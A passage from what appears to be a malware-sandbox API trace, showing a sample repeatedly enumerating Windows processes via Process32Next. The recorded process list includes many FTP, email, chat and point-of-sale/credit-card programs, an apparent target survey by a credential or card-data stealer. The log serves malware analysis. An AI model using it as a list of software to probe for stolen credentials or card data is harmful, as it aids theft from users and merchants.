th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0207.358] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0207.359] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0207.362] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0207.363] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0207.365] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0207.367] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0207.369] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0207.371] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0207.373] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0207.375] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0207.380] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0207.418] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0207.421] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0207.423] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0207.425] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0207.427] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0207.430] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0207.432] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0207.434] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0207.437] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0207.439] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0207.442] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0207.446] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0207.449] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0207.452] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0207.455] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0207.457] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0207.460] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0207.462] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0207.466] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0207.469] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0207.471] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0207.474] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0207.477] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0207.479] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0207.482] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0207.485] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0207.488] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0207.490] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0207.493] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0207.497] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0207.499] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0207.502] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0207.505] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0207.507] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0207.510] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0207.512] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0207.515] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0207.520] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0207.522] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0207.524] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0207.527] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0207.576] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0207.580] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0207.582] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0207.585] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0207.588] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0207.597] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0207.599] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0207.602] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0207.607] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0207.609] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0207.613] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.618] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0207.621] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0207.623] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.626] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0207.628] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0207.630] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0207.631] CloseHandle (hObject=0x11c8) returned 1 [0207.631] Sleep (dwMilliseconds=0x64) [0207.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0207.651] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.654] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.656] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.658] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.660] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.662] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.664] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.667] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.669] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.673] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.675] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.676] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.679] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, 